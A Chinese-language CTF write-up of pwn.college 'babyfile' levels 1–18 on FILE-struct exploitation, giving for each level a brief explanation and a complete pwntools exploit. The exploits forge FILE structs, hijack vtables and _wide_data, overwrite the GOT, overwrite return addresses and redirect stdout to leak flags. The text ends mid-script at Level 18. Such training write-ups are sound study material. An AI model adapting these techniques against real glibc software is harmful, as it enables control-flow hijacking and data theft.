# 前言
Finally，花了五个月差不多把 pwn 学完了，至于剩下的内核什么的后期就当兴趣学了，应
该不会变成我的主要研究方向，所以等学完这两章 FSOP 的内容我就去搞 IoT，~~也能想象
明年开始将全力以赴打比赛，暗无天日的坐牢（~~
总之希望竞赛时期不要太长，最好能够一年退役，我可不想整个大学生活都在坐牢 LOL
# Level 1
## Information
- Category: Pwn
## Description
> Harness the power of FILE structs to arbitrarily read data.
## Write-up
~~最简单的一集。~~ chall 把 flag 读到 bss 了，并且没开 PIE，还给了任意写 FILE 结
构体的能力，直接用 pwntools 秒了。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level1"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
flag = 0x4040E0
fp = FileStructure()
payload = flat(fp.write(flag, 0x64))
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# Level 2
## Information
- Category: Pwn
## Description
> Harness the power of FILE structs to arbitrarily write data to bypass a securi
ty check.
## Write-up
验证变量，构造任意读即可。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level2"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
authenticated = 0x4041F8
fp = FileStructure()
payload = flat(fp.read(authenticated, 0x101))
target.success(fp)
target.send(payload)
target.sendline(b"A" * 0xFF)
target.interactive()
if __name__ == "__main__":
main()
```
# Level 3
## Information
- Category: Pwn
## Description
> Harness the power of FILE structs to redirect data output.
## Write-up
以后每题都那么简单就好了（
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level3"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.send(b"x01")
target.interactive()
if __name__ == "__main__":
main()
```
# Level 4
## Information
- Category: Pwn
## Description
> Harness the power of FILE structs to arbitrarily read/write data to hijack con
trol flow.
## Write-up
越来越有趣了之，File Structure 的千层套路（
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level4"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"stored at: ")
ret = int(target.recvline().strip(), 16)
fp = FileStructure()
payload = flat(fp.read(ret, 0x101))
target.send(payload)
target.send(flat(elf.sym["win"]).ljust(0x101, b"x00"))
target.interactive()
if __name__ == "__main__":
main()
```
# Level 5
## Information
- Category: Pwn
## Description
> Abuse built-in FILE structs to leak sensitive information.
## Write-up
能改 stdout 结构体，并且 `puts` 函数内部会使用 stdout 结构体中的指针来输出值，所
以我们只要改掉 write 的几个指针，过一下检查，并且把 flag 设置为 `0xfbad1800` 就
好了。
```c
int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (stdout);
if ((_IO_vtable_offset (stdout) != 0
|| _IO_fwide (stdout, -1) == -1)
&& _IO_sputn (stdout, str, len) == len
&& _IO_putc_unlocked ('n', stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (stdout);
return result;
}
weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)
```
`0x1000` 代表追加到当前 fileno 后面，`0x0800` 代表正在执行写入操作。
```c
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
```
不过实际上我们也不用改那么多 write 指针，只要把最重要的 `_IO_write_base` 改掉就
好了，剩下的使用残留值。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level5"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
flag = 0x4040C0
fp = FileStructure()
fp.flags = 0xFBAD1800
fp._IO_write_base = flag
fp._IO_write_ptr = flag + 0x64
fp._IO_write_end = flag + 0x64
payload = flat(fp.struntil("_IO_write_end"))
raw_input("DEBUG")
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# Level 6
## Information
- Category: Pwn
## Description
> Abuse built-in FILE structs to bypass a security check.
## Write-up
上题是改 stdout 使 puts 任意写，这题是改 stdio 使 scanf 任意读。
`scanf` 的话只要设置 `_IO_NO_WRITES` 标志并设置 `_IO_buf_base` 和 `_IO_buf_end`
就好了，和那几个 read 指针无关。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level6"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
authenticated = 0x4041F8
fp = FileStructure()
fp.flags = 0xFBAD0008
fp._IO_buf_base = authenticated
fp._IO_buf_end = authenticated + 0x8
payload = flat(fp.struntil("_IO_buf_end"))
raw_input("DEBUG")
target.send(payload)
target.sendlineafter(b"Please log in.", b"x01")
target.interactive()
if __name__ == "__main__":
main()
```
# Level 7
## Information
- Category: Pwn
## Description
> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a FILE struct.
## Write-up
人生中第一道 vtable，也是灰常的简单呢 :D 一开始我看这 description 说是打 vtable
还感觉可能有点难，然非也哈哈哈。
这题就是折腾折腾几个指针而已，要点就是让调用 `fwrite` 时使用的 FILE structure 的
`vtable + 0x38` 处保存 `__GI__IO_wfile_overflow` 的地址，然后这个 `__GI__IO_wfi
le_overflow` 内部会调用 `_IO_wdoallocbuf`，这个函数内部又会调用传给 `fwrite` 的
FILE structure 的 `_wide_data + 0x68` 处的函数，我们伪造 `_wide_data`，令其 `+0x
68` 处保存的是 `win` 函数地址即可。
一题打消第一次接触 vtable 的恐惧，开心。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level7"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"libc is: ")
libc = int(target.recvline().strip(), 16) - 0x84420
__GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recvuntil(b"located at: ")
buf = int(target.recvline().strip(), 16)
target.success(f"libc: {hex(libc)}")
target.success(f"buf: {hex(buf)}")
payload = flat(
{
0x68: elf.sym["win"],
0xE0: buf,
},
filler=b"x00",
)
raw_input("DEBUG")
target.sendafter(b"Please enter your name.n", payload)
fp = FileStructure()
fp._lock = buf
fp._wide_data = buf
fp.vtable = __GI__IO_wfile_overflow
raw_input("DEBUG")
target.sendafter(
b"Now reading from stdin directly to the FILE struct.n", bytes(fp)
)
target.interactive()
if __name__ == "__main__":
main()
```
# Level 8
## Information
- Category: Pwn
## Description
> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a FILE struct.
## Write-up
和上题差不多，结构体 overlapping 就好了。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level8"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"libc is: ")
libc = int(target.recvline().strip(), 16) - 0x84420
__GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recvuntil(b"writing to: ")
buf = int(target.recvline().strip(), 16)
target.success(f"libc: {hex(libc)}")
target.success(f"buf: {hex(buf)}")
fp = FileStructure()
fp._lock = buf
fp._wide_data = buf
fp.vtable = __GI__IO_wfile_overflow
fp.chain = elf.sym["win"]
payload = flat(
bytes(fp),
buf,
)
raw_input("DEBUG")
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# Level 9
## Information
- Category: Pwn
## Description
> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a built-in FILE struct.
## Write-up
做 flag 梦，下 flag 雨（
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level9"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"libc is: ")
libc = int(target.recvline().strip(), 16) - 0x84420
__GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recvuntil(b"_IO_read_ptr")
buf = int(target.recvline().strip()[-14:], 16) - 0x83
target.success(f"libc: {hex(libc)}")
target.success(f"buf: {hex(buf)}")
fp = FileStructure()
fp._lock = buf
fp._wide_data = buf
fp.vtable = __GI__IO_wfile_overflow
fp.chain = elf.sym["authenticate"] + 0x25
payload = flat(
bytes(fp),
buf,
)
raw_input("DEBUG")
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# Level 10
## Information
- Category: Pwn
## Description
> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a FILE struct.
## Write-up
呜呜呜，他甚至在汇编层隐藏了作弊检测（
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level10"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"libc is: ")
libc = int(target.recvline().strip(), 16) - 0x84420
__GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recvuntil(b"writing to: ")
buf = int(target.recvline().strip(), 16)
target.success(f"libc: {hex(libc)}")
target.success(f"buf: {hex(buf)}")
fp = FileStructure()
fp.flags = b"password"
fp._lock = buf + 0xE8
fp._wide_data = buf
fp.vtable = __GI__IO_wfile_overflow
fp.chain = elf.sym["authenticate"]
payload = flat(
bytes(fp),
buf,
)
raw_input("DEBUG")
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# Level 11
## Information
- Category: Pwn
## Description
> Apply FILE struct exploits to leak a secret value.
## Write-up
不好啦，开始结合堆利用啦，感觉要开始变难了……
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level11"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def new_note(size):
target.sendlineafter(b"> ", b"new_note")
target.sendlineafter(b"> ", str(size).encode())
def del_note():
target.sendlineafter(b"> ", b"del_note")
def write_note(content):
target.sendlineafter(b"> ", b"write_note")
target.send(content)
def read_note():
target.sendlineafter(b"> ", b"read_note")
def open_file():
target.sendlineafter(b"> ", b"open_file")
def close_file():
target.sendlineafter(b"> ", b"close_file")
def write_file():
target.sendlineafter(b"> ", b"write_file")
def write_fp(payload):
target.sendlineafter(b"> ", b"write_fp")
target.send(payload)
def quit():
target.sendlineafter(b"> ", b"quit")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
secret = 0x404100
new_note(0x10)
open_file()
fp = FileStructure()
fp.flags = 0x800
fp._IO_read_end = secret
fp._IO_write_base = secret
fp._IO_write_ptr = secret + 0x100
fp.fileno = 1
payload = flat(fp.struntil("_flags2"))
raw_input("DEBUG")
write_fp(payload)
write_file()
quit()
target.interactive()
if __name__ == "__main__":
main()
```
# Level 12
## Information
- Category: Pwn
## Description
> Apply FILE struct exploits to write data to bypass a security check.
## Write-up
越来越简单，梦回幼儿园（
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level12"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def new_note(idx, size):
target.sendlineafter(b"> ", b"new_note")
target.sendlineafter(b"> ", str(idx).encode())
target.sendlineafter(b"> ", str(size).encode())
def del_note(idx):
target.sendlineafter(b"> ", b"del_note")
target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content):
target.sendlineafter(b"> ", b"write_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def read_note(idx, content):
target.sendlineafter(b"> ", b"read_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def open_file():
target.sendlineafter(b"> ", b"open_file")
def close_file():
target.sendlineafter(b"> ", b"close_file")
def read_file(idx):
target.sendlineafter(b"> ", b"read_file")
target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload):
target.sendlineafter(b"> ", b"write_fp")
target.send(payload)
def auth():
target.sendlineafter(b"> ", b"authenticate")
def quit():
target.sendlineafter(b"> ", b"quit")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"located at: ")
elf.address = int(target.recvline().strip(), 16) - 0x205D
authenticate = elf.address + 0x5170
target.success(f"pie: {hex(elf.address)}")
target.success(f"authenticate: {hex(authenticate)}")
open_file()
fp = FileStructure()
fp.read(authenticate, 0x10)
payload = flat(fp.struntil("_IO_save_base"))
# raw_input("DEBUG")
write_fp(payload)
new_note(0, 0x8)
raw_input("DEBUG")
read_file(0)
auth()
quit()
target.interactive()
if __name__ == "__main__":
main()
```
# Level 13
## Information
- Category: Pwn
## Description
> Apply FILE struct exploits to write data and hijack control flow.
## Write-up
> Level 12: When using close_file, be cautious of double free or invalid pointer
issues.<br />
> Level 13: To resolve issues with stdin breaking after using close_file, consid
er alternative methods to get an arbitrary read without using close_file.<br />
> Level 13: One approach is to perform a leak using write_file and an overwrite
using read_file.
感觉 Level 12 和 Level 13 我打的都是非预期 o_O
~~求漂亮小姐姐浇浇 `fclose` 怎么利用……~~
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level13"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def new_note(idx, size):
target.sendlineafter(b"> ", b"new_note")
target.sendlineafter(b"> ", str(idx).encode())
target.sendlineafter(b"> ", str(size).encode())
def del_note(idx):
target.sendlineafter(b"> ", b"del_note")
target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content):
target.sendlineafter(b"> ", b"write_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def read_note(idx, content):
target.sendlineafter(b"> ", b"read_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def open_file():
target.sendlineafter(b"> ", b"open_file")
def close_file():
target.sendlineafter(b"> ", b"close_file")
def write_file(idx):
target.sendlineafter(b"> ", b"write_file")
target.sendlineafter(b"> ", str(idx).encode())
def read_file(idx):
target.sendlineafter(b"> ", b"read_file")
target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload):
target.sendlineafter(b"> ", b"write_fp")
target.send(payload)
def quit():
target.sendlineafter(b"> ", b"quit")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"is: ")
stack = int(target.recvline().strip(), 16)
target.success(f"stack: {hex(stack)}")
open_file()
fp = FileStructure()
fp.write(stack - 0x50, 0x100)
payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x10)
write_file(0)
target.recvlines(4)
fp_addr = int.from_bytes(target.recv(0x8), "little") - 0x1E0
target.recv(0x68)
libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
__GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recv(0x48)
elf.address = int.from_bytes(target.recv(0x8), "little") - 0x2200
target.success(f"libc: {hex(libc)}")
target.success(f"pie: {hex(elf.address)}")
target.success(f"fp: {hex(fp_addr)}")
fp = FileStructure()
fp._lock = fp_addr
fp._wide_data = fp_addr
fp.vtable = __GI__IO_wfile_overflow
fp.chain = elf.sym["win"]
payload = flat(
bytes(fp),
fp_addr,
)
write_fp(payload)
# raw_input("DEBUG")
write_file(0)
quit()
target.interactive()
if __name__ == "__main__":
main()
```
# Level 14
## Information
- Category: Pwn
## Description
> Apply FILE struct exploits to write data to hijack control flow.. again?
## Write-up
这题泄漏了栈地址，有 `fread`，所以直接让它写返回地址就好了，多跑几次，$1/16$ 概
率成功。我不知道有没有别的打法，提示说 `close_file` 可能比较有用，不懂，这个预期
解到底是啥，我不知道……
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level14"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def new_note(idx, size):
target.sendlineafter(b"> ", b"new_note")
target.sendlineafter(b"> ", str(idx).encode())
target.sendlineafter(b"> ", str(size).encode())
def del_note(idx):
target.sendlineafter(b"> ", b"del_note")
target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content):
target.sendlineafter(b"> ", b"write_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def read_note(idx, content):
target.sendlineafter(b"> ", b"read_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def open_file():
target.sendlineafter(b"> ", b"open_file")
def close_file():
target.sendlineafter(b"> ", b"close_file")
def read_file(idx):
target.sendlineafter(b"> ", b"read_file")
target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload):
target.sendlineafter(b"> ", b"write_fp")
target.send(payload)
def quit():
target.sendlineafter(b"> ", b"quit")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b"is: ")
stack = int(target.recvline().strip(), 16)
ret = stack + 0x98
target.success(f"stack: {hex(stack)}")
open_file()
fp = FileStructure()
fp.read(ret, 0x3)
payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x2)
# raw_input("DEBUG")
read_file(0)
payload = flat(
b"xc9x03",
)
target.send(payload)
quit()
target.interactive()
if __name__ == "__main__":
main()
```
# Level 15
## Information
- Category: Pwn
## Description
> Apply FILE struct exploits to overwrite a GOT entry.
## Write-up
比上题简单，直接改 GOT 表。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level15"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def new_note(idx, size):
target.sendlineafter(b"> ", b"new_note")
target.sendlineafter(b"> ", str(idx).encode())
target.sendlineafter(b"> ", str(size).encode())
def del_note(idx):
target.sendlineafter(b"> ", b"del_note")
target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content):
target.sendlineafter(b"> ", b"write_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def read_note(idx, content):
target.sendlineafter(b"> ", b"read_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def open_file():
target.sendlineafter(b"> ", b"open_file")
def close_file():
target.sendlineafter(b"> ", b"close_file")
def read_file(idx):
target.sendlineafter(b"> ", b"read_file")
target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload):
target.sendlineafter(b"> ", b"write_fp")
target.send(payload)
def quit():
target.sendlineafter(b"> ", b"quit")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
open_file()
fp = FileStructure()
fp.read(elf.got["printf"], 0x9)
payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x8)
# raw_input("DEBUG")
read_file(0)
payload = flat(
elf.sym["win"],
)
target.send(payload)
quit()
target.interactive()
if __name__ == "__main__":
main()
```
# Level 16
## Information
- Category: Pwn
## Description
> Apply FILE struct exploits to overwrite a built-in FILE struct and print the f
lag.
## Write-up
泄漏了 libc，可以算出 stdout，所以使 `fread` 从 stdin 向 stdout 读，然后修改 std
out 输出缓冲区。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level16"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def new_note(idx, size):
target.sendlineafter(b"> ", b"new_note")
target.sendlineafter(b"> ", str(idx).encode())
target.sendlineafter(b"> ", str(size).encode())
def del_note(idx):
target.sendlineafter(b"> ", b"del_note")
target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content):
target.sendlineafter(b"> ", b"write_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def read_note(idx, content):
target.sendlineafter(b"> ", b"read_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def open_file():
target.sendlineafter(b"> ", b"open_file")
def close_file():
target.sendlineafter(b"> ", b"close_file")
def read_file(idx):
target.sendlineafter(b"> ", b"read_file")
target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload):
target.sendlineafter(b"> ", b"write_fp")
target.send(payload)
def quit():
target.sendlineafter(b"> ", b"quit")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
secret = 0x405100
target.recvuntil(b"is: ")
libc.address = int(target.recvline().strip(), 16) - 0x84420
stdout = libc.sym["_IO_2_1_stdout_"]
target.success(f"libc: {hex(libc.address)}")
target.success(f"stdout: {hex(stdout)}")
open_file()
fp = FileStructure()
fp.read(stdout, 0x78)
payload = flat(fp.struntil("_flags2"))
write_fp(payload)
stdout = FileStructure()
stdout.write(secret, 0x100)
payload = flat(stdout.struntil("_flags2"))
new_note(0, 0x70)
raw_input("DEBUG")
read_file(0)
raw_input("DEBUG")
target.send(payload)
quit()
target.interactive()
if __name__ == "__main__":
main()
```
# Level 17
## Information
- Category: Pwn
## Description
> Apply FILE struct exploits to read/write data and capture the flag.
## Write-up
没办法泄漏任何地址，咋办嘞？又回到了 glibc 堆分配机制问题上来…… `fopen` 会 `mall
oc` 一块 File Structure buffer，而 `fclose` 会 `free` 掉 `fopen` 分配的 buffer，
那么，我们只要先调用 `open_file` fopen 一个文件，它会设置 fp，然后调用 `close_fi
le` 释放，再打开包含 flag 的文件，此时这个 fopen 会复用之前的地址，由于 close 的
时候没有清空 fp 指针，所以此时 fp 指向我们的 flag 结构体，之后我们就可以把 flag
内容搞到用户分配的 buffer 中了，最后篡改 fp 的 fileno 为 stdout，调用 `write_fil
e` 会将 buffer 内容写到这个 fp 的 fileno 中，成功泄漏 flag。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level17"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def new_note(idx, size):
target.sendlineafter(b"> ", b"new_note")
target.sendlineafter(b"> ", str(idx).encode())
target.sendlineafter(b"> ", str(size).encode())
def del_note(idx):
target.sendlineafter(b"> ", b"del_note")
target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content):
target.sendlineafter(b"> ", b"write_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def read_note(idx, content):
target.sendlineafter(b"> ", b"read_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def open_file():
target.sendlineafter(b"> ", b"open_file")
def close_file():
target.sendlineafter(b"> ", b"close_file")
def read_file(idx):
target.sendlineafter(b"> ", b"read_file")
target.sendlineafter(b"> ", str(idx).encode())
def write_file(idx):
target.sendlineafter(b"> ", b"write_file")
target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload):
target.sendlineafter(b"> ", b"write_fp")
target.send(payload)
def open_flag():
target.sendlineafter(b"> ", b"open_flag")
def quit():
target.sendlineafter(b"> ", b"quit")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
open_file()
close_file()
open_flag()
new_note(0, 0x100)
read_file(0)
fp = FileStructure()
fp.write(0, 0x100)
payload = flat(fp.struntil("_flags2"))
# raw_input("DEBUG")
write_fp(payload)
write_file(0)
quit()
target.interactive()
if __name__ == "__main__":
main()
```
# Level 18
## Information
- Category: Pwn
## Description
> Apply FILE struct exploits to arbitrarily read/write data or hijack control fl
ow.
## Write-up
没开 PIE 有 `fwrite` 且可篡改 fp 那还不是轻轻松松？
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level18"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def new_note(idx, size):
target.sendlineafter(b"> ", b"new_note")
target.sendlineafter(b"> ", str(idx).encode())
